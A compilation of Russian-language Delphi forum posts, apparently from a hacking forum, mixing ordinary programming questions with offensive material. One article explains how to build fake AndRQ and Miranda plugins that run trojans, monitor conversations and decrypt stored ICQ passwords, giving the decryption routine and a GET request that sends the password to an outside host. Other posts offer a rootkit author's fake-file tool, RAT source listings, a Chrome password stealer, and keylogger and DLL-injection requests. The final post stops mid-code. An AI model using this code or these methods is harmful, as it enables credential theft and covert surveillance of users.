procedure ReadFl(const myfile:string);
var
sr: TStreamReader;
Writer:TStreamWriter;
Line:string;
StrDictionary: TDictionary<string, Integer>;
begin
StrDictionary := TDictionary<string, Integer>.Create;
Writer := TStreamWriter.Create(ExtractFilePath(paramStr(0)) + 'DupDel.txt', False, TEncoding.Default, 65535);
try
sr := TStreamReader.Create(myfile,TEncoding.Default, True,2048);
while not sr.EndOfStream do
begin
Line:=Trim(sr.ReadLine);
if not StrDictionary.ContainsKey(Line) then begin
StrDictionary.Add(Line, 0);
Writer.WriteLine(Line);
end;
end;
finally
sr.Close;
FreeAndNil(sr);
StrDictionary.Free;
Writer.Close;
Writer.Free;
end;
end;

//HashSet Example

procedure ReadFl2(const myfile:string);
var
sr: TStreamReader;
Writer:TStreamWriter;
Hash:integer;
Line:string;
HashSet:THashSet<integer>;
begin
HashSet := THashSet<Integer>.Create(1000000,nil); //1000000 Capacity, Comparer = nil
Writer := TStreamWriter.Create(ExtractFilePath(paramStr(0)) + 'DupDel.txt', False, TEncoding.Default, 65535);
try
sr := TStreamReader.Create(myfile,TEncoding.Default, True,2048);
while not sr.EndOfStream do
begin
Line:=Trim(sr.ReadLine);
Hash:=TStringComparer.OrdinalIgnoreCase.GetHashCode(Line);;
if not HashSet.Contains(Hash) then begin
HashSet.Add(Hash);
Writer.WriteLine(Line);
end;
end;
finally
sr.Close;
FreeAndNil(sr);
HashSet.Free;
Writer.Close;
Writer.Free;
end;
end;

Решил написать программу чтобы управлять cmd.exe не привлекая внимания санитаров.

Мне надо: запустить процесс, получить вывод.
Потом сделать ввод, затем считать вывод. и так постоянно.

Работа с Pipe из разряда научной фантастики.

С помощью CreateProcess запускаю cmd.exe с параметрами "cmd /c dir".

Code:Copy to clipboard

procedure StartExe(s: string); //Стартуем! В дорогу нам пора
var
  WaitThreadId: Cardinal;
  StartupInfo: TStartupInfo;
  SecurityAttributes: TSecurityAttributes;
  ProcessInformation: TProcessInformation;
begin
  Form1.Memo2.Lines.Add('Process started.');
  ZeroMemory(@SecurityAttributes, SizeOf(SecurityAttributes));
  SecurityAttributes.nLength := SizeOf(TSecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor := nil;
  SecurityAttributes.bInheritHandle := True;
  CreatePipe(hPipeInputRead, hPipeInputWrite, @SecurityAttributes, 0);
  //SetHandleInformation(hPipeInputRead, HANDLE_FLAG_INHERIT, 0);
  CreatePipe(hPipeOutputRead, hPipeOutputWrite, @SecurityAttributes,
0);
  //SetHandleInformation(hPipeOutputRead, HANDLE_FLAG_INHERIT, 0);
  ZeroMemory(@StartupInfo, SizeOf(TStartupInfo));
  ZeroMemory(@ProcessInformation, SizeOf(TProcessInformation));
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  StartupInfo.wShowWindow := SW_HIDE;
  StartupInfo.hStdInput := hPipeInputRead;
  StartupInfo.hStdOutput := hPipeOutputWrite;
  StartupInfo.hStdError := hPipeOutputWrite;
  if CreateProcess(nil, PChar(s), nil, nil, True, CREATE_NEW_CONSOLE,
nil, nil, StartupInfo, ProcessInformation) then
  begin
    hProcess := ProcessInformation.hProcess;
    hThread := CreateThread(nil, 0, @ReadThreadProc, nil, 0,
ThreadId);
  end;
end;

После запуска процесса в предыдущей функции на 30 строке я создаю с помощью
CreateThread поток ReadThreadProc

Code:Copy to clipboard

procedure ReadThreadProc;
var
  BytesCount: Cardinal;
  buf: array [0..4096] of Char;
begin
  Terminated := false;
  while not Terminated do
  begin
    if hPipeOutputRead <> INVALID_HANDLE_VALUE then
    begin
      ZeroMemory(@buf, SizeOf(buf));
      if ReadFile(hPipeOutputRead, buf, Length(buf), BytesCount, nil)
then
      begin
        if BytesCount <> 0 then
        begin
          //Вроде ошибка не здесь
          OemToAnsiBuff(buf, buf, BytesCount);
          Form1.Memo2.Text := Form1.Memo2.Text + Copy(buf, 1,
BytesCount);
        end;
      end;
    end;
  end;
end;

Здесь я считываю данные из PipeOutputRead и вывожу их в Memo.

Code:Copy to clipboard

procedure InputText(s: string);
var
  BytesCount: Cardinal;
  buf: array [0..4096] of Char;
begin
 //Проверяем размер вводимой строки:
  if Length(s) < 4090 then
  begin
    ZeroMemory(@buf, SizeOf(buf));
    StrPCopy(buf, s + #13#10); //
    WriteFile(hPipeInputWrite, buf, Length(s) + 2, BytesCount, nil);
  end;
end;

Иногда принудительно завершаю поток/процесс cmd.exe

Code:Copy to clipboard

procedure StopThread(); //Эта часть кода с глюками и часто вылетает
begin
  Terminated := true;

  if ThreadId <> INVALID_HANDLE_VALUE then
  begin
    WaitForSingleObject(ThreadId, INFINITE);
  end;
  if hThread <> INVALID_HANDLE_VALUE then CloseHandle(hThread);
  if hProcess <> INVALID_HANDLE_VALUE then
  begin
    TerminateProcess(hProcess, 255);
    WaitForSingleObject(hProcess, INFINITE);
    if hProcess <> INVALID_HANDLE_VALUE then CloseHandle(hProcess);
  end;
  if hPipeInputWrite <> INVALID_HANDLE_VALUE then CloseHandle
(hPipeInputWrite);
  if hPipeInputRead <> INVALID_HANDLE_VALUE then CloseHandle
(hPipeInputRead);
  if hPipeOutputWrite <> INVALID_HANDLE_VALUE then CloseHandle
(hPipeOutputWrite);
  if hPipeOutputRead <> INVALID_HANDLE_VALUE then CloseHandle
(hPipeOutputRead);
end;

Проблема в том, что при работе этого кода постоянно возникают ошибки:
Access Violation, External exception C0000008 и т.д.

Работа с Pipe из разряда научной фантастики.
Иногда работает иногда нет. Что я делаю не правильно?

Прочитал стотью с майкософт ком. ясности не привнесло
[https://learn.microsoft.com/ru-ru/w...hild-process-with-redirected-input-and- output](https://learn.microsoft.com/ru-ru/windows/win32/procthread/creating-a- child-process-with-redirected-input-and-output)

Как убрать надпись на демо скинах Unregistered в AlphaSkins ? Кто может подсказать ? Эта надпись появляется каждый раз при запуске программы.

Доброго времени суток!

Хочу сделать в своем приложении мониторинг файловой системы:
удаление, перемещение, переименование, копирование файлов и дирректорий.

Хотелось бы узнать две вещи:

- Какие функции надо перехватить?
- В какой процесс внедрить свою длл, и как это проще сделать.

В идеале внедрить свою dll.

Т.е. надо из юзер мода. Без использования драйверов.

Если метод будет палиться антивирусом, не страшно,
главное чтобы корректно работало. ОС Windows 7.

Code:Copy to clipboard

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

type
  TSaveRedir = packed record
    Addr: Pointer;
    Bytes: array[0..4] of Byte;
  end;

type
  PSaveRedir = ^TSaveRedir;

var
  S: TSaveRedir;

procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);
var
  OldProtect: Cardinal;
  NewCode: packed record
    JMP: Byte;
    Distance: Integer;
  end;
begin
  VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect);
  if Assigned(SaveRedir) then
  begin
    SaveRedir^.Addr := FromAddr;
    Move(FromAddr^, SaveRedir^.Bytes, 5);
  end;
  NewCode.JMP := $E9;
  NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;
  Move(NewCode, FromAddr^, 5);
  VirtualProtect(FromAddr, 5, OldProtect, OldProtect);
end;

procedure UndoRedirectCall(const SaveRedir: TSaveRedir);
var
  OldProtect: Cardinal;
begin
  VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect);
  Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);
  VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect);
end;

function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;
  Flags: Longint): Integer;
begin
  ShowMessage('New Messagebox');
  Result := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Application.MessageBox('test', '!!!', MB_OK);
end;

initialization
  RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);

finalization
  UndoRedirectCall(S);

end.

Кто-нибудь знает причину этой ошибки, я использую версию 10.4?

Доброго времени суток!

Может быть кто-то сталкивался стакой проблемой,
как вывести текст на странице по определенной ширине?

Т.е. надо сделать перенос текста на следующую строку,
когда он превышает определенную длину.

Похожее есть в notepad.exe когда выбираешь формат -> перенос по словам.

Обсуждение видеоhttp://xss.is/?act=video#video236[
Автор: SLAyer
Дата добавления: 11.11.2006 02:14
Написание аналога Paint в среде разработки Delphi
Видео позаимствовано с сайта comp-info.ru

[url=http://xss.is/video/]Скриншот](http://xss.is/?act=video#video236)
[a style='color:#309030 !important' href='http://dllfiles.org/video/paint.rar' target='_blank']Скачать | Download[/url] (2.94 Mb)

Обсуждение видеоhttp://xss.is/?act=video#video235[
Автор: SLAyer
Дата добавления: 11.11.2006 02:13
Обучение стандартным компонентам Delphi
Видео позаимствовано с сайта comp-info.ru

[url=http://xss.is/video/]Скриншот](http://xss.is/?act=video#video235)
[a style='color:#309030 !important' href='http://dllfiles.org/video/standart.rar' target='_blank']Скачать | Download[/url] (3.08 Mb)

OraDeveloper Studio - гибкий инструмент разработчика и администратора баз данных Oracle. Он позволяет составлять и исполнять запросы, редактировать данные, управлять пользователями, осуществлять экспорт и импорт данных и многое другое. OraDeveloper Studio упрощает и автоматизирует все основные операции над базой данных.
Основные преимущества:
-Мощный набор средств для разработки SQL-запросов. Усовершенствованный редактор SQL упрощает редактирование SQL выражений при помощи подсветки синтаксиса во время редактирования и контекстно-зависимого автодополнения кода. Визуальный редактор запросов позволяет создавать сложные запросы без написания кода.
-Отладка PL/SQL программ и SQL скриптов. Поддержка точек останова, просмотра и модификации переменных и стэка вызовов.
-Удобная навигация по базе данных. Объекты на сервере представлены в специальном окне Проводника в иерархическом виде, удобном для работы.
-Упрощенное создание и изменение объектов БД. Все часто используемые операции автоматизированы и легко доступны. Для обеспечения дружественного пользовательского интерфейса при работе с объектами БД созданы специализированные визуальные редакторы объектов.
-Удобное редактирование данных. В табличном редакторе данных есть все, что может понадобиться для просмотра и редактирования данных, включая двоичные данные и длинный текст.
-Поддержка проектов БД. OraDeveloper Studio позволяет создавать проекты БД для объединения связанных файлов. Проекты БД облегчают управление большими проектами и автоматизируют рутинные задачи по поддержке БД.
-Продвинутые средства администрирования. OraDeveloper Studio предлагает набор средств администрирования БД, включающий Менеджер безопасности, Менеджер сессий и мастера экспорта и импорта БД.
-Прямой доступ к серверу. Поддержка объектов БД на всём диапазоне версий серверов Oracle от 7.3 до 10g.
-Удобный и гибкий пользовательский интерфейс. Исчерпывающая документация.
Для работы используется платформа .NET.
Скачать!

вопшем есть проблема у меня есть рисенки но формат у них ну очень нерахароший *.R#S чем его открывать не ясно переименовывать пробовал в бмп и жпг ниче не помогает рисунок в аттаче также там же лежит модуль скомпиленый чем это чудо открывается но как он работает я понят не смог нид нелп!! дикомпилятора TPU соответственно нет.

зы: еще бы не помешала если у кого завалялась прога
BGI Stroked Font V1.1 - Aug 3, 1989
Copyright © 1987,1988 Borland International
найти ее пока не получается и если кто найдет буду очень благодарен

Вот туплюю
нужно создать вобще пофиг какой архив .cab .rar .zip
ваще пофиг
смысл в том что есть две папки и в них по 10 файлов например
нужно как то все это превратить в архив...
ктонить может инфой помочь а лучше примерчиками =) :blink:

Есть сорс, а дельфей нет, и ставить ради одного сорса не целесообразно, помогите откомпилить и выложите плз здесь или на мыло..

Спс...

Кто писал\переписывал эту процедуру ?

Мне нужно разархивировать запороленый архив Winrar'a с условием то что я пороль знаю. То есть я нажимаю на кнопку а архив распоковывается без запроса пороля. Пожалуйста подскажыте как это зделать, зарание благодарен.

Приветствую...

Думаю все пользовались QIP?... Видели всплывающие окна при новых сообщениях (так называемые popup-окна)... Пусть для этого есть компоненты, но своими силами лучше, поэтому сегодня мы сделаем подобные окна в наших программах...
Итак, запускаем Delphi...

Для начала, вставим на форму только одну кнопку, установим заголовок кнопки "Всплыть", а имя кнопки пусть будет "button_popup".
Ещё поставим на главную форму Timer со следующими свойствами:

Code:Copy to clipboard

Enabled = False
Interval = 1
Name = popup_timer

и ещё один со свойствами

Code:Copy to clipboard

Enabled = False
Interval = 1500
Name = undo_timer

Теперь вставим в проект ещё одну форму (File > New > Form), она и будет нашим всплывающим окном. Этой форме дадим имя "popup_form", а также зададим некоторые свойства:

Code:Copy to clipboard

Name = form_popup
BorderStyle = bsNone
BorderIcons = []
Color = clInfoBk
FormStyle = fsStayOnTop
Visible = False;

Ширину и высоту формы задайте по желанию...

Теперь поставим на эту форму компонент TImage, обзовём его "popup_bg", и установим свойство Align = alClient. А в свойстве Picture устанавливаем фоновую картинку для нашего всплывающего окна.

Дальше ставим на эту же форму (popup_form) компонент TLabel:

Code:Copy to clipboard

Name = popup_text
Align = alClient
Aligment = taCenter
Caption = ""
Transparent = True
WordWrap = True

Итак, интерфейсную часть закончили, теперь приступаем к коду.
В коде главной формы создаём процедуру:

Code:Copy to clipboard

procedure Popup(var Text: String);
var
  pzh: integer; // Высота панели задач
  pz: HWnd; // Хендл панели задач
  r:TRect; // Область панели задач
begin
  // Получаем идентификатор панели задач
  pz := FindWindow('Shell_TrayWnd','');
  // Получаем область панели задач
  GetWindowRect(pz,r);
  // Из области узнаём высоту панели задач
  pzh := r.Top - r.Bottom;
  // Устанавливаем начальный отступ слева для всплывающего окна
  Popup_Form.Left := Screen.Width - Popup_Form.Width - 2;
  // Устанавливаем начальный отступ сверху для всплывающего окна
  Popup_Form.Top := Screen.Height + pzh;
  // Устанавливаем текст всплывающего окна
  Popup_Form.Popup_Text.Caption := Text;
  // Показываем всплывающее окно
  Popup_Form.Visible := True;
  // Запускаем таймер всплывания
  Popup_Timer.Enabled := True;
end;

Теперь сделаем глобальную переменную st типа integer:

Code:Copy to clipboard

.....
  public
    st: integer;
.....

И создаём процедуру для для события таймера:

Code:Copy to clipboard

procedure Popup_TimerTimer(Sender: TObject);
  // Проверяем условие для контроля окончания всплывания
  if (st < Popup_Form.Height) then
  begin
    // Поднимаем окно вверх
    Popup_Form.Top := Popup_Form.Top - (Popup_Form.Height div 30);
    // Увеличиваем переменную для контроля всплывания
    st := st + (Popup_Form.Height div 30);
  end
  // Если всплывание закончилось
  else
  begin
    // Выключаем таймер вплывания
    Popup_Timer.Enabled := False;
    // Включаем таймер закрытия
    Undo_Timer.Enabled := True;
    // Обнуляем переменную контроля всплывания
    st := 0;
  end;
end;

Затем создадим процедуру таймера закрытия:

Code:Copy to clipboard

procedure Undo_TimerTimer(Sender: TObject);
begin
  // Выключаем таймер закрытия
  Undo_Timer.Enabled := False;
  // Скрываем окно
  Popup_Form.Hide;
end;

Кстати, при клике на окне, а точнее на надписи:

Code:Copy to clipboard

procedure Popup_TextClick(Sender: TObject);
begin
  // Скрываем окно
  Popup_Form.Hide;
end;

Ну и при нажатии на кнопку:

Code:Copy to clipboard

procedure Button_PopupClick(Sender: TObject);
begin
  // Показываем попап
  Popup('Привет, ' + #10 + #13 + 'я всплывающее окно...');
end;

Вот вобщем-то и всё.... можем тестить...
Файл проекта приложен к статье....

© Amper

function inArray(x: integer; mas: array of integer): boolean;
var i, n: integer;
begin
i := 0;
n := length(mas) + 1;
setLength(mas, n);
mas[n - 1] := x;
while not mas = x do
i:= i + 1;
if i = n - 1 then
Result := true
else
Result := false;
end;

Click to expand...

_
В выделенной строке компилятор говорит, что "incompatible types". Не пойму в чем проблема?_

Как из моей программы написанной в Delphi изменить настройку Excel?
Мне надо сменить разделитель целой и дробной части чисел.В Excel по умолчанию стоит запятая, а мне нужна точка. Ну то есть надо из моей программы выполнить те же действия, что я делал-бы в запущеном Excel. А делал бы это там я так: Сервис - параметры - международные - сменить разделитель...и поставил бы вместо запятой точку

Раньше, пишучи на DELPHI сильно не задумывался
над вод какой штукой. Напрмер

int GetWindowText(
HWND hWnd, // handle to window or control
LPTSTR lpString, // text buffer
int nMaxCount // maximum number of characters to copy
);

на месте LPSTR вставлял переменную buf(массив 0..255 из char) и все.
Или createService второй параметр-PCHARовская переменная. И все работает.
Т.е другими словами при юзанье APIшек вставлял туда просто переменные нужных типов\структур и все.

Но тут случайно у меня возник следующий вопрос:
MSDN пишет для строк как правило следующее

Code:Copy to clipboard

Pointer to a null-terminated string that specifies the name of the service to install.

По сути дела POINTER это указатель(тобиш адрес) на мой взгляд. Адрес переменной,
начальный адрес процедуры и т.д. В CreateThreadЕ его ясно почему надо юзать(@function).
Но судя из написанного в MSDNе, я должен @ку ставить перед каждой переменной PCHAR в API.
В ASMе это понятно(везде ADDR либо Offset), а вот в DELPHI не сильно.

Разъясните плиз когда в дельфе нужна @ка а когда нет при строковых параметрах.
Или это особенность компилятора что сам адрес привязывает к переменной если надо.
Надеюсь вы меня поняли :bang:

Вопроc для тех, кто шарит в Indy...
Нужно получить список директорий на анонимном ФТП и закачать фаил(БЕЗ ФОРМЫ), обшарил пол инета и демку инди клиента, нашёл вот такой код, но он не работает. Почему? Другие варианты тоже приветствуются

Code:Copy to clipboard

var
 Dir: String; 
 DL: TStringList; 
 i: integer; 
begin 
   DL:=TStringList.Create; 
   idFTP.ChangeDir(Dir);  //меняем диру
   idFTP.List(DL); //Получаем список, заполняется св-во DirectoryListing

   i:=0; 
   while i <= idFTP.DirectoryListing.Count-1 do  //цикл по списку файлов на фтп
         begin 
              if idFTP.DirectoryListing[i].ItemType = ditDirectory then  //если файл дира то 
                 begin
                    IdFTP1.Put('file.exe','file1.exe'); //закачиваем
                     idFTP1.ChangeDirUp; //сменяем диру вверх на 1 уровень
    end;
 end;
end;

ANDRQ
AndRq – неоффициальный icq клиент с открытыми исходными текстами,поддерживающий плагины.На сайте www.andrq.ru можно скачать пример такого плагина на дельфи.

Сразу же возникает идея написать свой собственный и использовать его в своих целях.Допустим,можно скачивать троян и запускать его или же делать так чтобы плагин действительно работал,одновременно выполняя свои зловредные функции.

Глянем что нам позволяют плагины.Открываем CallExec.pas и видим функцию

RQ_SendMsg(uin, Flag:integer; msg:string);

Это функция не очень то годна в нашех целях – после ее вызова возникает окно с отправленным сообщением.Значит нам надо реализовать протокол icq независимо от плагина.

Очень полезны события PE_CONNECTED и PE_DISCONNECTED тк лучше чтобы наш фейк работал только после коннекта уина.

Существуют также 2 очень полезных события PE_MSG_GOT и PE_MSG_SENT,которые позволят вести контроль переписки(uin-int_at(data,6),msg-_istring_at(data, 22)).Оптимально не сразу пересылать полученное,а,например,после достижения определенного лимита

Получить пароль тоже довольно легко.Он находится в зишифрованном виде в папке с профилем в файле andrq.ini (RQ_GetCurrentUser/andrq.ini).Находим пароль по строке crypted-password.Функция дешифровки пароля выглядит так

function PassDecrypt(s: string):string;
var
i: integer;
begin
result:='';
i:=length(s);
while i > 0 do
begin
if s _ < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;
end;

Текущий уин получаем командой rq_getcurrentuser.Можно получить пассы всех профилей если найти все папки в директории с крысой и проверять каждую на наличие в ней andrq.ini.

MIRANDA
У миранды очень хороший PDK и позволяет полностью изменить клиент.Все предствавлено в виде отдельных inc файлов и есть примеры для си и дельфи.

Открываем файл m_message.inc и находим такую запись : MS_MSG_SENDMESSAGE Миранда позволяет отправить сообщение невидимо для юзера,а также имеет события на получение и отправку сообщения.

Разработчики сделали очень большую ошибку – функции плагины выполняются до того как миранда успеет понять что плагин не соответствует стандарту.Однако если вы хотите,чтобы юзер запустил плагин и не раз и не два стоит написать красивую оболочку ( форму ) и придать ему функциональность плюс сделать его по всем правилам плагинов для миранды

function MirandaPluginInfo(mirandaVersion: DWORD): PPLUGININFO; cdecl;
begin
Result := @PLUGININFO;
PLUGININFO.cbSize := sizeof(TPLUGININFO);
PLUGININFO.shortName := 'Plugin Template';
PLUGININFO.version := PLUGIN_MAKE_VERSION(0,0,0,1);
PLUGININFO.description := 'The long description of your plugin, to go in the plugin options dialog';
PLUGININFO.author := 'J. Random Hacker';
PLUGININFO.authorEmail := 'noreply@sourceforge.net';
PLUGININFO.copyright := '© 2003 J. Random Hacker';
PLUGININFO.homepage := 'http://miranda-icq.sourceforge.net/';
PLUGININFO.isTransient := 0;
PLUGININFO.replacesDefaultModule := 0;
end;

Как вариант не реализовывать icq протокол для отправки пароля и просто передать данные скрипту GET – запросом ( GET http://cup.su/icq.php?uin=&pass= HTTP/1.1 )

Вот собственно и все что я хотел сказать о Fake плагинах.

*Подобный miranda плагин можно приобрести у человека с ником c4mb3ll
*В архиве находится miranda PDK и asm код фейк плагина

0x00 Miranda_Plugin_Dev_KIT / 0x01 Miranda_Fake_Plugin

http://underwater.cup.su/ - Сайт оригинала статьи

[mod][Winux:] Прикольно сайт крутишь, но в другой раз лучше сделай copy-paste. Это не потому что я не люблю когда чужие сайты так крутят, а потому что твой сайт через месяц может закрыться.[/mod]_

Мусорит в системе множеством файлов

Code:Copy to clipboard

program FileFaker;
{$APPTYPE CONSOLE}
uses Windows;
const
 METHOD_BUFFERED=$00000000;
 FILE_SPECIAL_ACCESS=$00000000;
 FILE_DEVICE_FILE_SYSTEM=$00000009;
 FILE_WRITE_DATA=$0002;

 FSCTL_SET_SPARSE=FILE_DEVICE_FILE_SYSTEM shl 16 or FILE_SPECIAL_ACCESS shl 14 or 49 shl 2 or METHOD_BUFFERED;
type
 TFileZeroDataInformation=packed record
  FileOffset,BeyondFinalZero:LARGE_INTEGER;
 end;
var
 InputFile:TextFile;
 FileHandle:THandle;
 BytesReturned:Cardinal;
 InputFileName,OutDir,Line,FileName:string;
 Size,SizeFrom,SizeTo:LARGE_INTEGER;

{usysutils}
function StrToIntDef(AStr:string;ADef:Int64=0):Int64;
var
 LCode:Integer;
begin
 Val(AStr,Result,LCode);
 if LCode<>0 then Result:=ADef;
end;

function ExtractFilePath(APath:string):string;
var
 LI,LJ:Integer;
begin
 if (Length(APath)<>0) and (Pos('\',APath)>0) then
 begin
  LJ:=0;
  for LI:=Length(APath) downto 1 do
   if APath[*]='\' then
   begin
    LJ:=LI;
    Break;
   end;
  Result:=Copy(APath,1,LJ);
 end else Result:='';
end;

function ExtractFileName(APath:string):string;
var
 LI,LJ:Integer;
begin
 if Length(APath)<>0 then
 begin
  LJ:=0;
  for LI:=Length(APath) downto 1 do
   if APath[*]='\' then
   begin
    LJ:=LI;
    Break;
   end;
  Result:=Copy(APath,LJ+1,MaxInt);
 end else Result:='';
end;

function FileExists(AFileName:string):Boolean;
var
 LHandle:THandle;
 LFindData:TWin32FindData;
begin
 Result:=False;
 LHandle:=FindFirstFile(PChar(AFileName),LFindData);
 if LHandle<>INVALID_HANDLE_VALUE then
 begin
  Windows.FindClose(LHandle);
  Result:=LFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY=0;
 end;
end;

function LastChar(AStr:string;AChar:Char):Boolean;
begin
 Result:=False;
 if Length(AStr)=0 then Exit;
 Result:=AStr[Length(AStr)]=AChar;
end;

procedure AddLastBackSlash(var AStr:string);
begin
 if not ((Length(AStr)=0) or LastChar(AStr,'\')) then AStr:=AStr+'\';
end;

procedure DeleteLastBackSlash(var AStr:string);
begin
 if (Length(AStr)<>0) and LastChar(AStr,'\') then Delete(AStr,Length(AStr),1);
end;

function ForceDirectories(APath:string):Boolean;
begin
 Result:=True;
 if Length(APath)=0 then Exit;
 DeleteLastBackSlash(APath);
 if CreateDirectory(PChar(APath),nil) then Result:=True
 else Result:=ForceDirectories(ExtractFilePath(APath)) and CreateDirectory(PChar(APath),nil);
end;
{/usysutils}

procedure About;
begin
 WriteLn;
 WriteLn('File faker for NTFS v1.1');
 WriteLn('programmed by Holy_Father');
 WriteLn('Copyright (c) 2000,forever ExEwORx');
 WriteLn('birthday: 01.04.2003');
 WriteLn('home: http://www.hxdef.org, http://hxdef.net.ru,');
 WriteLn('      http://hxdef.czweb.org, http://rootkit.host.sk');
 WriteLn;
end;

procedure Usage;
var
 LExeName:string;
begin
 LExeName:=ExtractFileName(ParamStr(0));
 WriteLn('This program can create very small files on NTFS.');
 WriteLn('But their size is only illusion.');
 WriteLn('Their size on the disk is only few kilobytes.');
 WriteLn;
 WriteLn('Usage: '+LExeName+' inputfile outdir');
 WriteLn;
 WriteLn('inputfile struct:');
 WriteLn(':sizefrom:sizeto');
 WriteLn('filename1');
 WriteLn('filename2');
 WriteLn('...');
 WriteLn(':sizefrom:sizeto');
 WriteLn('filename1');
 WriteLn('filename2');
 WriteLn('...');
 WriteLn;
 WriteLn('inputfile example:');
 WriteLn(':600000000:800000000');
 WriteLn('Matrix CD 1.avi');
 WriteLn('Matrix CD 2.avi');
 WriteLn(':7000000000:8000000000');
 WriteLn('Matrix full.vob');
 WriteLn;
 Halt;
end;

begin
 About;
 if ParamCount<>2 then Usage;
 InputFileName:=ParamStr(1);
 OutDir:=ParamStr(2);
 if not FileExists(InputFileName) then
 begin
  WriteLn(InputFileName,' does not exist!');
  Exit;
 end;

 Randomize;
 AddLastBackslash(OutDir);
 ForceDirectories(OutDir);
 SizeTo.QuadPart:=0;

 AssignFile(InputFile,InputFileName);
 Reset(InputFile);
 while not EoF(InputFile) do
 begin
  Line:='';
  while Length(Line)=0 do ReadLn(InputFile,Line);
  if Line[1]=':' then
  begin
   Line:=Copy(Line,2,MaxInt);
   SizeFrom.QuadPart:=StrToIntDef(Copy(Line,1,Pos(':',Line)-1));
   SizeTo.QuadPart:=StrToIntDef(Copy(Line,Pos(':',Line)+1,MaxInt));
  end else
  begin
   if SizeTo.QuadPart=0 then Continue;
   FileName:=OutDir+Line;
   FileHandle:=CreateFile(PChar(FileName),GENERIC_WRITE,0,nil,CREATE_ALWAYS,FILE_FLAG_RANDOM_ACCESS,0);
   Write(FileName,' - ');
   if FileHandle<>INVALID_HANDLE_VALUE then
   begin
    if DeviceIoControl(FileHandle,FSCTL_SET_SPARSE,nil,0,nil,0,BytesReturned,nil) then
    begin
     Size.QuadPart:=SizeFrom.QuadPart+Trunc(Random*(SizeTo.QuadPart-SizeFrom.QuadPart));
     SetFilePointer(FileHandle,Size.LowPart,@Size.HighPart,FILE_BEGIN);
     SetEndOfFile(FileHandle);
     WriteLn('OK (',Size.QuadPart,')');
     CloseHandle(FileHandle);
    end else
    begin
     WriteLn('failed');
     CloseHandle(FileHandle);
     DeleteFile(PChar(FileName));
    end;
   end else WriteLn('failed');
  end;
 end;
 CloseFile(InputFile);
end.

Привет всем
Добавлено в [time]1135337575[/time]
Подскажите как мне зделать чтобы текст название формы брался из ListBox?

Доброго времени суток. В 2007 года нашел в интернете исходник одногокейлоггера на winapi.
Кейлоггер был написан на delphi, использовал функцию [GetAsyncKeyState](https://learn.microsoft.com/en- us/windows/win32/api/winuser/nf-winuser-getasynckeystate),
и часть своего кода хранил в .inc файле.

Может у кого то сохранился на диске? Буду очень благодарен

I decided to make public this code


[ GitHub - rogerinho-do-inga/delphi-chromium-password: Recover saved

passwords from chromium based browsers like Google Chrome and Microsoft Edge ](https://github.com/rogerinho-do-inga/delphi-chromium-password)

Recover saved passwords from chromium based browsers like Google Chrome and Microsoft Edge - GitHub - rogerinho-do-inga/delphi-chromium-password: Recover saved passwords from chromium based browser...

github.com

Does anyone have any solution in delphi to capture passwords of newer versions of chorme

Исходники ратников на Delphi:

:: rSpy Private
:: SwartEngel RAT
:: TinyRAT

Некоторые требуют установки дополнительных компонентов.

Здрасте, как то заказывал себе удобную библиотеку .dll (написана на Rust) для работы с сид фразами и приватными ключами из под дельфи, может кому то пригодится:

Code:Copy to clipboard

unit Unit2;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, System.StrUtils;

type
  TForm2 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

const
mlib='coin.dll';

function Calc(phrase, dirPath, coin: PAnsiChar): PAnsiChar; cdecl; inline;
external mlib name 'gen_coin' delayed; inline;
function hex_to_addr(coin, wif: PAnsiChar): PAnsiChar; cdecl; inline;
external mlib name 'hex_to_addr' delayed; inline;
function wif_to_addr(coin, wif: PAnsiChar): PAnsiChar; cdecl; inline;
external mlib name 'wif_to_addr' delayed; inline;
function from_entropy(hex_entropy: PAnsiChar): PAnsiChar; cdecl; inline;
external mlib name 'from_entropy' delayed; inline;
function to_entropy(mnemonic: PAnsiChar): PAnsiChar; cdecl; inline;
external mlib name 'to_entropy' delayed; inline;
procedure CalcFree(coin: PAnsiChar); cdecl; inline;
external mlib name 'free_coin' delayed; inline;

implementation

{$R *.dfm}

procedure TForm2.Button1Click(Sender: TObject);
const
MyMnemonic='electric canvas manual bike pelican leader vicious art arrow ritual sponsor axis';
var
e:PAnsiChar;
begin
Memo1.Lines.Add('ETHEREUM:');
e:=hex_to_addr('ETH',PAnsiChar(AnsiString('a08a21a5f893a0929ea609c78e149a224fda2c964dcafd6a31789c550a5c41a0')));
Memo1.Lines.Add('HEXPrivateKey to walletaddress: '+SplitString(e,'|')[1]);
CalcFree(e);
e:=wif_to_addr('ETH',PAnsiChar(AnsiString('5K2zME1AQhG7prqgxTmsnypcBWDWq3xjjnbPFkyFFcDRpGjrCPs')));
Memo1.Lines.Add('WIFPrivateKey to walletaddress: '+SplitString(e,'|')[1]);
CalcFree(e);
e:=Calc(PAnsiChar(AnsiString(MyMnemonic)),'m/44''/60''/0''/0/0', 'ETH');
Memo1.Lines.Add('Wallet Address: '+SplitString(e,'|')[0]);
Memo1.Lines.Add('PublicKey: '+SplitString(e,'|')[1]);
